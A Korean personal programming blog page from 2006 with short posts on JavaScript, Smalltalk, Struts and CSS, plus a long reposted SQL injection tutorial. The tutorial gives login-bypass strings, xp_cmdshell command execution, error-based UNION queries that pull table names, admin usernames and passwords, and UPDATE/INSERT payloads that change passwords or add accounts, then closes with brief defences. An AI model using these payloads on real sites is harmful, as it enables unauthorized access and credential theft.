블로그 이미지
초딩입맛제주아재
하고 싶은 것만 하며 살고 싶다

calendar

1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
2006. 11. 9. 17:29 Programing
http://projects.backbase.com/RUI/shop.html

정말 놀랍다.
이정도까지 구현을 해내다니...
이건 또 어느세월에 마스터를 하려나...-_-;;

'Programing' 카테고리의 다른 글

euc인코딩  (0) 2007.01.09
위기지학(爲己之學)  (0) 2006.11.29
JAVA(JSP)가 좋은점이 무엇이냐...  (1) 2006.10.28
Sort Algorithm  (0) 2006.10.24
웹해킹 - SQL 인젝션  (0) 2006.10.14
posted by 초딩입맛제주아재
2006. 11. 8. 15:57 Programing/HTML/JavaScript/CSS

selectbox 에 항목을 추가 삭제 할때 자동으로 정렬을 해주는 방법이다.
만들때는 생각을 안했는데 해 놓고 보니 MVC or MVP 패턴과 닮았다.
Smalltalk의 영향인가...

항목(item)에 대한 Model 객체(Array)가 있고

var keyword_list = new Array();

Model에 변화가 생기면 View를 바꾼다.

function refreshList(){
   var listObj = document.getElementById('list');

   clearList();
   keyword_list.sort();

   var arr_text = '';

   for(var i=0; i<keyword_list.length; i++){
       var newOpt = document.createElement('OPTION');
       newOpt.value = keyword_list[i];
       newOpt.text = keyword_list[i];

       arr_text += '[' + i + '] => ' + keyword_list[i] + '<br />';
       listObj.add(newOpt);
   }

   document.getElementById('arrayDesc').innerHTML = arr_text;
}

전체 소스를 보자....

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title> New Document </title>
<script language="JavaScript">
<!--

var keyword_list = new Array();

function itemAdd(){
   var keywordObj = document.getElementById('keyword');

   if(keywordObj.value == ''){
       keywordObj.focus();
       return false;
   }

   keyword_list.push(keywordObj.value);
   keywordObj.value = '';
   keywordObj.focus();

   refreshList();
}

function refreshList(){
   var listObj = document.getElementById('list');

   clearList();
   keyword_list.sort();

   var arr_text = '';

   for(var i=0; i<keyword_list.length; i++){
       var newOpt = document.createElement('OPTION');
       newOpt.value = keyword_list[i];
       newOpt.text = keyword_list[i];

       arr_text += '[' + i + '] => ' + keyword_list[i] + '<br />';
       listObj.add(newOpt);
   }

   document.getElementById(arrayStat).innerHTML = arr_text;
}

function itemRemove(){
   var listObj = document.getElementById('list');

   if(listObj.selectedIndex < 0){
       return false;
   }

   keyword_list.splice(listObj.selectedIndex,1);
   refreshList();
}

function clearList(){
   var listObj = document.getElementById('list');

   while(listObj.length > 0){
       listObj.remove(0);
   }
}
//-->
</script>
</head>

<body>
<input type="text" id="keyword" value="" />&nbsp;
<input type="button" value="추가" onClick=" itemAdd();" />
<hr />

<div>
   <div style="width: width: 120px; padding: 0; float: left;">
       <select id="list" size="10" style="width: 100px;">
       </select><input type="button" value="삭제" onClick=" itemRemove();" />
   </div>
   <div id="arrayStat" style="border: solid 1px #D9D9D9; width: 120px;"></div>
</div>
</body>
</html>

* 오른쪽에 보이는 레이어(arrayStat)는 Model의 상태를 나타내는 역할을 한다.

아무래도 배열을 쓰고 Model이 바뀔때마다 View를 초기화 하고 다시 뿌려주니
많은 데이터를 처리할때는 속도가 걸림돌이 될 것 같다.

posted by 초딩입맛제주아재
2006. 11. 2. 00:02 Programing/Smalltalk


asOrderedCollection

#('apple' 'cherry' 'banana') asOrderedCollection.

arr := #('input device' 'display device')->'computer'.
arr key: arr key asOrderedCollection.


Array객체는 요소의 수가 정해져있어 확장이나 축소가 불가능하다.

#('one' 'two' 'three')
이 Array객체는 처음 생성될때 요소으 수가 3개였기 때문에
추가나 삭제가 불가능하다.

이러한 상황에서 요소의 추가/삭제가 필요하게 될때
Array 객체에 asOrderedCollection 메세지를 날려줌으로서
간단하게 요소의 추가/삭제가 가능한 asOrderecCollection객체로 바꿔 줄 수가 있다.

'Programing > Smalltalk' 카테고리의 다른 글

가계부 만들기 - 07  (0) 2006.11.16
가계부 만들기 - 06  (0) 2006.11.16
객체를 배열로 만들어주는 Array with:  (0) 2006.10.30
사용자의 실수를 막아주는 queryCommand:  (0) 2006.10.28
가계부 만들기 - 05  (0) 2006.10.11
posted by 초딩입맛제주아재
2006. 10. 30. 11:35 Programing/Smalltalk
Array with:

Array with: 'hello'.#('hello')

ar := #('hello' 'hi' 'good').
ar2 := ar,(Array with: 'bad').#('hello' 'hi' 'good' 'bad')


"," 는 두 배열을 하나로 합쳐주는 연산자이다.
문자열을 합칠때도 사용한다.

'a','b'.'ab'


posted by 초딩입맛제주아재
2006. 10. 28. 00:57 Programing/Smalltalk
queryCommand:

개발자들이 쉽게 간과하는 엔드유저의 실수.
만드는 사람은 정상적인 입/출력 흐름을 알고 있기 때문에
정상적인 데이터로 테스트를 하는 경우가 많다.
하지만 만들어진 어플리케이션을 사용하는 실 사용자는 개발자가 아니라
불특정 다수이다.
이들은 좋아하는 색깔도 다르고,
자주가는 사이트도 다르며,
어떤 사람은 클릭이 어떤 행동을 말하는것인지조차 모른다.

개발자가 저들의 무서운(?) 특성을 감안하지 않고 어플리케이션을 개발한다면
분명 개발자는 리펙토링의 굴레에서 벗어 날 수 없을것이다.

흔히 웹에서 폼 입력 페이지에서 사용자의 실수를 미연에 방지하고
개발자의 의도대로 시스템에 마침맞은 데이터를 입력하도록 유도하기 위해
자바스크립트를 사용하여 사용자가 입력한 데이터를 점검한 후
서버로 전송하는 방식을 취한다.

if(document.forms[formname].element.value == ''){
   alert('element의 값을 입력하세요~');
   element.focus();
   return false;
}


자바에서는 캡슐화를 통해서 프로그램을 견고하게 한다.

class Test{
   private int x=0;

   public void setX(int num){
       x = num;
   }

   public int getX(){
       return x;
   }
}


보통의 OOP 에서는 캡슐화를 사용한다.
Smalltalk도 예외는 아니다.
안드레아님이 좋아하는 Kent할배가 엄청 강조한다고 했던가...

아무튼...

Smalltalk에서는 queryCommand: 라는 메서드가 프로그램을 견고하게 하는데 한몫 단단히 하고 있다.

queryCommand: aCommand
   super queryCommand: aCommand.

   (#(#method symbolic) includes: aCommand command) ifTrue: [
       aCommand isEnabled: enable condition].


#method symbolic 을 수행하기 이전에 enable condition을 체크하여
조건에 부합하면 #method를 수행한다.

쉬운 예로
Listbox에 선택된 항목을 삭제하는 push button과 button의 action method가 있을때
선택된 항목이 없으면 삭제가 될 수 없다.
이때 queryCommand: 를 활용하면 선택된 항목이 없는 상태에서는 삭제 버튼이 비활성화가 된어
불필요한 프로그램의 오류를 미연에 방지하게 해준다.


프로그램은 유연하게 만드는것이 좋지만
그보다 우선할 것이 견고하게 만드는것이다.
견고한 프로그램을 만들기 위해서는 개발자의 세세한 손길이 필요한것임을
늘 잊지 말아야한다....
설령 무서운 귀차니즘이 협박을 해 온다 해도 말이다...
posted by 초딩입맛제주아재
2006. 10. 28. 00:20 Programing
어제 오늘, 이틀에 걸쳐 JSP소스를 수정하여 간신히 SelectBox 하나를 달았다.
Struts Framework.
저 간단한 selectbox를 추가 하기 위하여
struts_config.xml 에 페이지별로 추가할 selectbox의 name을 추가해주어야 했고
Action파일과 DAO파일을 입력/수정/조회 페이지대로 수정을 해주어야 했다.
물론 PHP에서도 각각 입력/수정/조회 페이지별로 수정을 해주는건 마찬가지이다.
하지만 PHP에서는 form의 액션을 *.do로 매핑 하지도 않고
허용할 태그를 페이지별로 따로 등록하지도 않는다.
객체지향이 주는 잇점을 살리기 위하여 지그재그로 엮어놓은 코드.
Struts를  제대로 알지도 못하고 이틀 간 맛만 보았지만
거부감이 느껴진다.
내가 본 소스의 개발자가 설계를 잘못하여 그런 코드가 나왔을 수도 있겠지만
기본적인 framework의 구조자체가 별로 달갑지 않다.
과연 저 복잡한 Struts를 사용함으로써 얻어지는 잇점은 무엇이란 말인가...
Java 개발자들이 부르짓는 OOP의 묘미를 제대로 살린것인가...

Simple is the best.

난 단순하고 직관적인 PHP가 더 좋다.

'Programing' 카테고리의 다른 글

위기지학(爲己之學)  (0) 2006.11.29
Drag & Drop로 구현한 쇼핑몰 샘플  (0) 2006.11.09
Sort Algorithm  (0) 2006.10.24
웹해킹 - SQL 인젝션  (0) 2006.10.14
유니코드 프로그래밍  (0) 2006.09.26
posted by 초딩입맛제주아재
2006. 10. 24. 00:27 Programing

'Programing' 카테고리의 다른 글

Drag & Drop로 구현한 쇼핑몰 샘플  (0) 2006.11.09
JAVA(JSP)가 좋은점이 무엇이냐...  (1) 2006.10.28
웹해킹 - SQL 인젝션  (0) 2006.10.14
유니코드 프로그래밍  (0) 2006.09.26
스파게티 소스  (0) 2006.05.16
posted by 초딩입맛제주아재
2006. 10. 19. 02:16 Programing/HTML/JavaScript/CSS
'overflow'
Value:   visible | hidden | scroll | auto | inherit
Initial:   visible
Applies to:   non-replaced block-level elements, table cells, and inline-block elements
Inherited:   no
Percentages:   N/A
Media:   visual
Computed value:   as specified
visible
This value indicates that content is not clipped, i.e., it may be rendered outside the block box.
hidden
This value indicates that the content is clipped and that no scrolling user interface should be provided to view the content outside the clipping region.
scroll
This value indicates that the content is clipped and that if the user agent uses a scrolling mechanism that is visible on the screen (such as a scroll bar or a panner), that mechanism should be displayed for a box whether or not any of its content is clipped. This avoids any problem with scrollbars appearing and disappearing in a dynamic environment. When this value is specified and the target medium is 'print', overflowing content may be printed.
auto
The behavior of the 'auto' value is user agent-dependent, but should cause a scrolling mechanism to be provided for overflowing boxes.

example:

<div style="width: 300px; height: 200px; overflow: hidden;">
   contents
</div>

-> contents의 길이가 지정된 영역을 벗어나면 보이지 않는다.

<div style="width: 300px; height: 200px; overflow: scorll;">
   contents
</div>

-> contents의 길이에 상관 없이 스크롤바가 생성된다.

<div style="width: 300px; height: 200px; overflow: auto;">
   contents
</div>

-> contents의 길이에 따라 스크롤바가 생성되거나 사라진다.

<div style="width: 300px; height: 200px; overflow: visible;">
   contents
</div>

-> 레이어의 크기가 contents에 맞추어 확장된다.


overflow 속성은 고정된 영역에서 레이아웃을 해치지 않고
컨텐츠를 보여주고자 할떄 유용하게 쓰일 수 있다.
posted by 초딩입맛제주아재
2006. 10. 16. 10:32 Programing/Java
도구 -> 기본설정 -> 도구 - 사용자도구

   우측화면에서 그룹 선택(1번부터 10번까지 있음) 원하는 번호 선택.
   그룹이름 변경 -> Java로 해줌(이건 안해도 되는데 구분을 위해 해줌)

   추가 -> 프로그램 {
       메뉴제목 : Java Compile(사용자 마음대로)
       명령 : 오른쪽 버튼을 클릭하여 javac파일을 찾아 선택해줌.
       인수 : 오른쪽 버튼을 클릭하여 "파일이름" 선택
       디렉토리 : 오른쪽 버튼을 클릭하여 "파일 디렉토리" 선택
       하단의 "출력내용 캡쳐"에 체크
   }

   추가 -> 프로그램 {
        메뉴제목 : Java Run(사용자 마음대로)
       명령 : 오른쪽 버튼을 클릭하여 java파일을 찾아 선택해줌.
       인수 : 오른쪽 버튼을 클릭하여 "확장자를 뺀 파일이름" 선택
       디렉토리 : 오른쪽 버튼을 클릭하여 "파일 디렉토리" 선택
       하단의 "출력내용 캡쳐"에 체크
}

'Programing > Java' 카테고리의 다른 글

제8회 한국 자바 개발자 컨퍼런스  (0) 2007.02.24
윈도우 Java환경 설정  (0) 2006.12.23
SWT 연습 - FileTreeContentProvider  (0) 2006.10.13
SWT Study  (0) 2006.10.13
적당한 크기로 만들어주는 메서드 - Control.pack()  (4) 2006.10.13
posted by 초딩입맛제주아재
2006. 10. 14. 00:23 Programing
웹해킹 - SQL 인젝션

Summary
이 문서는 초보자들에게 많은 도움이 될것이다. SQL Injection 테크닉들을 통해서 문제를 해결 하려고 노력하고, 그것들을 성공적으로 이용하기를 원하고, 또한 그러한 공격으로보터 자신을 방어하고자 하는 ........

Details
1.0 Introduction
===============
서버가 단지 80포트만을 오픈하고 있을때, 당신의 믿음직한 취약점 스캐너는 유용한 정보를 잡아내지 못한다. 당신도 알다시피 관리자는 항상 서버를 패치한다. 우리는 웹해킹으로 관점을 돌려야 한다. SQL injection은 단지 80번 포트만을 필요로 하는 웹해킹의 방법중 한가지이다. 만일 관리자가 패치를 잘 하고 있을지라도 해킹은 잘 작동하게 될것이다. SQL injection 는 OS 상에서 웹서버나 서비스가 실행되고 있다고 할지라도 웹 어플리케이션(like ASP, JSP, PHP, CGI, etc) 상에서 웹어플리케이션 그자체를 공격한다.

이 문서는 새로은 것에 대해서 말하고 있지는 않다. SQL injection에 관한 문서는 여러사람들이 써 왔고 널리 사용되어지고 있다. 우리는 이문서를 작성했다. 직접 수기로 작성한 SQL injection 의 몇가지를 문서화 하기 위해서 그리고 다른사람들에게 이문서가 도움에 되기를 바라기 때문이다. 당신은 한 두가지를 더 발견할수 있을 것이다. 그러기 위해서 "9.0 Where can I get more info?"를 확인해 봄으로써 SQL injection 안에서 많은 테크닉들을 개발할수 있는 믿을만한 많은 정보들을 얻을수 있을 것이다.


1.1 What is SQL Injection?
------------------------
SQL injection 은 웹 페이지를 통해서 입력하는 것처럼 SQL query/command를 삽입하기위한 트릭이다.  많은 웹페이지들은 웹 사용자로 부터 패러미터들을 입력받아 데이타베이스에대한 SQL query를 만든다. 사용자가 로긴을 할때를 예를 들자면, 사용자가 유효한 이름과 패스워드를 사용하는지를 확인하기위해서 사용자 이름과 패스워드를 에 관한 SQL query 를 만든다. SQL injection를 통해서, 정상적인 SQL query를 변조하게 하는 교활하게 조작된 사용자 이름과 패스워드를 보내는 것이 가능하고 우리는 이것을 통해서 어떤것을 행하게 할수가 있는 것이다.

1.2 What do you need?
--------------------
어떤 브라우저라도 좋다.



2.0 What you should look for?
============================
데이타 입력을 허락하는 웹페이지를 찿아 보아라. 예를 들자면 로긴 웹 페이지, 서치 웹페이지, 피드백 등등. 자주 HTML 페이지는 다른 ASP 페이제 패러미터를 보네기 위해서 POST 명령을 사용한다. 하지만 당신은 URL 에서 패러미터를 볼수는 없을 것이다. 그러나 HTML의 소스 코드를 확인해 보면 HTML 코드에서 "FORM" 태그를 발견 할 수 있을 것이다. 당신은 이 HTML 코드에서 다음과 같은 것을 발견 할 수가 있을 것이다.:





사이에 있는 모든 것들은 우리가 익스플로잇에 사용할수 있는 잠재적인 패러 미터를 가지고 있다.


2.1 What if you can't find any page that takes input?
---------------------------------------------
ASP, JSP, CGI, or PHP 같은 웹 페이지들을 찿아 보기 바란다. 특히 다음과 같은 패러미터를 가지고 있는 URL을 찿아 보거라. 다음:

http://duck/index.asp?id=10



3.0 How do you test if it is vulnerable?
==================================
싱글 쿼트(') 트릭으로 시작해 보자!
다음과 같이 입력해 보거라.:

hi' or 1=1--

다음 예와 같이 로긴, 패스워드 또는 URL 에서 말이다.
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--

만일 히든 필드와 같이 이것들을 실행해야 한다면 사이트로 보터 HTML 소스를 다운로드 받고, 당신의 하드 디스크에 저장하고, 적당하게 URL 과 히든 필드를 수정하라. 예를 들자면 :






운이 좋다면 로긴 네임이나 패스워드 없이 로긴 할 수 있을 것이다.

3.1 But why ' or 1=1--?
---------------------
' or 1=1-- 가 왜 중요한지에 대해서 다른 예제를 알아 보도록 하자. 로긴을 바로 통과 하는 것외에 일반적으로 가능한것은 아니지만 또다른 가능성은 엑스트라 인포메이션 즉 부수적인 정보를 보는 것이 가능하다는 것이다. 다음 URL 과 같이 당신을 다른 페이지로 링크를 해주는 asp 페이지를 보자 :

http://duck/index.asp?category=food

이 URL에서 'category' 는 변수이고 'food'는 변수에 할당되어진 변수 값이다. 이와 같은 일은 하기 위해서 ASP는 다음과 같은 코드를 포함하고 있을 것이다.(그렇다. 이것은 이 문제를 위해서 우리가 만든 실제 코드이다.) :

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

보는 바와 같이 우리의 변수는 v_cat 안으로 들어 갈 것이고 그래서 SQL 문장은 다음과 같이 될 것이다.:

SELECT * FROM product WHERE PCategory='food'

쿼리는 WHERE 조건(이경우 'food')과 일치하는 한개나 한개 이상의 행을 결과로 리턴한다.
이제 다음과 같이 URL을 바꾸게 될 경우를 알아 보자 :

http://duck/index.asp?category=food' or 1=1--

만일 SQL query 에서 변수를 다음과 같이 변경하게 되면, 이제 변수 v_cat = "food' or 1=1-- " 되고 우리는 다음과 같은 결과를 얻을 것이다:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

쿼리는 product 테이블로 부터 모든것을 선택한다. PCategory 가 'food' 인지 아닌지에 상관없이 말이다 더블 대쉬("--")는 MS SQL 서버에게 쿼리의 나머지 부분을 무시하도록 한다. 마지막에 있는 싱글 쿼트(')를 제거하는 역할을 하게 될 것이다. 종종 더블 대쉬(--)는 싱글 해쉬(#)로 대체 할 수 있다.

하지만 SQL 서버가 아니거나 쿼리의 나머지를 간단하게 무시하게 할수가 없다면 다음과 같이 시도해 보라:

' or 'a'='a

SQL 쿼리는 이제 다음과 될 것이다:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

이제 동일한 결과를 돌려 줄 것이다.

실제 SQL query 에 따라서 다음과 같은 것들중에서 한개로 시도 하기 바란다:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a



4.0 How do I get remote execution with SQL injection?
==================================================
만일 일반적인 의미로서 SQL 명령을 삽입 할수 있다면 모든 SQL query 를 실행 할수 있을 것이다. MS SQL 서버가 윈도우즈 안에서 관리자 접근과 동등한 시스템상에 디폴트 인스톨로 실행되고 있다. 우리는 리모트 실행을 수행하기 위해서 xp_cmdshell 를 마스터 같이 저장된 프로시저를 사용할수 있다.... :

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

싱글 쿼트(')가 작동하지 않으면 더블 쿼트(")를 사용해 보라

세미 콜론은 현제 SQL query 를 끝나게 할것이고 그래서 당신이 새로운 SQL 명령을 시작할 수 있게 할것이다. 만일 서버로부터 어떤 패킷이 있는지를 체크하기 위해서 명령이 성공적으로 실행되었는지를 확인하기 위해서 10.10.1.2 로 부터 ICMP 패킷을 리슨 할수 있다. :

#tcpdump icmp

만일 당신이 서버로부터 아무 핑(ping) 요구 받지 못했고, 퍼미션 에러를 표시하는 에러메시지를 받았다면, 이러한 저장된 프로시저에 대해서 관리자가 웹사용자의 접근을 제한하고 있을 가능성이 있다.



5.0 How to get output of my SQL query?
======================================
HTML 안에 당신의 쿼리를 삽입하기 위해서 sp_makewebtak 를 사용 할 수 있다:

'; EXEC master..sp_makewebtask "10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

하지만 타켓 IP 는 모든 사람이 공유하고 있는 공유 폴더이어야 한다.



6.0 How to get data from the database using ODBC error message
============================================================
우리는 우리가 원하는 대부분의 데이타를 얻기 위해서 MS SQL 서버에 의해서 처리되어지는 에러 메세지로 부터 정보를 사용 할 수 있다. 다음과 같은 문장을 가지고 있는 페이지가 있다고 하고 예를 들자면 :

http://duck/index.asp?id=10

우리는 데이타베이스로 부터 정수 10 을 다른 문자열과 함께 UNION 을 시도할 것이다:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

서버안에서 시스템 테이블 INFORMATION_SCHEMA.TABLES 은 모든 테이블에 관한 정보를 포함하고 있다. TABLE_NAME 필드는 데이터베이스 안에서 각 테이블의 이름을 분명히 포함하고 있다. 알다 시피 그것은 항상 존제 하기때문에 우리는 그것을 선택했다. 우리의 쿼리는 :

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

이것은 데이터베이스 안에서 첫번째 테이블을 리턴한다. 우리가 이 문자열 값을 정수 10과 UNION 할때 MS SQL 서버는 문자열(nvarchar)을 정수로 변환을 시도할 것이다. 이것은 우??가 nvarchar을 int 로 전환 할 수 없는 것 때문에 에러를 발생 시킨다. 서버는 다음의 에러 메시지를 출력할 것이다:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

에러 메시지는 어떤 값이 정수로 변환 되어질수 없다는 것을 알려주게 되므로 우리에게 충분한 가치가 있다. 이경우에 우리는 데이터 베이스에 있는 첫번째 테이블 이름이 "talbe1" 이라는 것을 알게 된다.

다음 테이블 이름을 얻기 위해서 우리는 다음 쿼리를 사용 할 수 있다:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

우리는 LIKE 키워드를 사용하여 데이타를 조사 할 수 있다.

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5

동등한 표시로서, SQL 서버 안에서 '%25login%25' 은 %login% 처럼 보여질 것이다. 이경우에 우리는 "admin_login" 과 일치하는 첫번째 테이블 이름을 얻게 될것이다.


6.1 How to mine all column names of a table?
----------------------------------------
우리는 테이블의 모든 컬럼들의 이름을 알기 위해서 다른 유용한 테이블 INFORMATION_SCHEMA.COLUMNS 을 사용 할 있다 :

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5

이제 첫번째 칼럼 이름을 얻게 되었고 다음 컬럼 이름을 얻기 위해서 NOT IN () 을 사용 할 수 있다 :

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

이와 같이 계속해서 나아가서 우리는 나머지 칼럼 이름을 획득 했다. "password", "details". 우리는 이것들을 다음 에러 메시지를 얻었을때 알수가 있다 :
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5


6.2 How to retrieve any data we want?
------------------------------------
이제 몇개의 중요한 테이블들 과 그것들의 컴럼들을 확인해보자. 우리는 데이타베이스로 부터 우리가 원하는 정보를 획득하기 위해서 똑같은 테크닉을 사용 사용 할 수 있다.

이제, "admin_login" 테이블로 부터 첫번째 login_name 을 얻어보자:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

이제 우리는 neo 라는 로긴 이름을 가지고 있는 admin 유저가 있다는 것을 알았다. 마지막으로 데이터베이로 부터 neo 의 패스워드를 얻기 위해서 :

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

우리는 ID neo, password m4trix 로 로긴 할 수 가 있을 것이다.


6.3 How to get numeric string value?
--------------------------------
위에 설명한 테크닉에는 제한 사항이 있다. 만일 우리가 유효한 숫자(0-9 사이에 있는 문자)로 구성된 텍스트를 변환하기를 시도한다면 우리는 어떤한 에러 메시지도 얻을 수 없을 것이다.
ID trinity인 사용자의 패스워드 31173 을 얻기 위한 시도를 가지고 말해보자:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

우리는 "Page Not Found" 에러를 얻을 것이다. 정수(이경우 10)와 UNION 하기 전에 패스워드 31173 은 숫자로 변환되어질 것이기 때문이다. 그것은 유효한 UNION 문 이기 때문에 SQL 서버는 ODBC 에러 메시지를 출력하지 않을 것이다. 그래서 우리는 어떠한 숫자 엔트리를 발견해 낼 수가 없다.

이 문제를 해결하기 위해서, 우리는 변환이 확실히 실폐 하로독 하기 위해서 숫자 문자열에 몇개의 알파벳을 덧붙일 수 있다. 이번에는 위에것 대신이 이 쿼리로 시도를 해보자:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

우른는 패스워드에 우리가 원하는 어떤 텍스틀를 덧붙이기 위해서 더하기 기호(+,ASSCII code for '+' = 0x2b)를 사용한다. 우리는 '(space)morpheus' 를 실제 패스워드에 덧붙일 것이다. 그래서 우리가 숫자 문자열 31173 을 가지고 있다고 할 지라도 그것은 '31173 morpheus' 이 될 것이다. 수작업으로 convert() 함수를 호출 함으로서 '31173 morpheus' 을 정수로 변환을 시도해보면 SQL 서버는 EDBC 에러 메시지를 출력 할 것이다:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

이제 ID trinity, 패스워드 31173 로 로긴을 할 수가 있다.



7.0 How to update/insert data into the database?
===========================================
우리가 테이블의 모든 칼럼 이름을 성공적으로 얻게될때 우리는 UPDATE 명령을 사용하거나 테이블안에 새로운 레코드를 삽입하기 위해서 INSERT 명령을 사용 할 수 가 있다. 예를 들자면, neo 의 패스워드를 변경하기 위해서 :

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

데이터 베이스 안에 새로운 레코드를 삽입하기 위해서 :

http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

우리는 이제 ID neo2, 패스워드 newpas5 로 로긴 할 수 가 있다.



8.0 How to avoid SQL Injection?
=============================
다음과 같은 경우에 모든 문자열 안에서 싱글 쿼트, 더블 쿼트, 슬래쉬, 백슬래쉬, 세미 콜론, NULL 같은 확장된 문자, 캐리지 리턴, 뉴라인 등과 같은 문자를 필터링 한다면 :
- 사용자로 부터의 입력
- URL 에 있는 패러미터
- 쿠키 안에 있는 값들

숫자 값을 위해서 그것을 SQL 문으로 파싱을 하기전에 그것을 정수로 변환하라. 또는 그것이 정수인지를 확인하기 위해서 ISNUMERIC 를 사용하라.

SQL Server Security tab 안에서 하위 특권 사용자를 사용하여 "Startup and run SQL Server" 를 변환 시켜라.

당신이 사용하지 않는 다음 같은 저장된 프로시저들을 삭제 하라 :

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask


9.0 Where can I get more info?
===============================
최근우리가 발견하고 SQL Injection 을 적용한 최근 작품들 중에 하나는 PacketStrom 을 어떻게 해킹 했는지에 관한 Rain Forest Puppy 의 문서이다.
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

ODBC 에러 메시지들로 부터 정보를 획득하는 방법에 관한 멋진 문서가 여기에 있다.
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

또한 다양한 SQL 서버상에서 SQL Injection 에 관한 훌륭한 요약집이 여기에 있다.
http://www.owasp.org/asac/input_validation/sql.shtml

SQL Injection 에 관한 Senseport 의 문서 :
http://www.sensepost.com/misc/SQLinsertion.htm

읽어 볼만한 문서들:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

'Programing' 카테고리의 다른 글

Drag & Drop로 구현한 쇼핑몰 샘플  (0) 2006.11.09
JAVA(JSP)가 좋은점이 무엇이냐...  (1) 2006.10.28
Sort Algorithm  (0) 2006.10.24
유니코드 프로그래밍  (0) 2006.09.26
스파게티 소스  (0) 2006.05.16
posted by 초딩입맛제주아재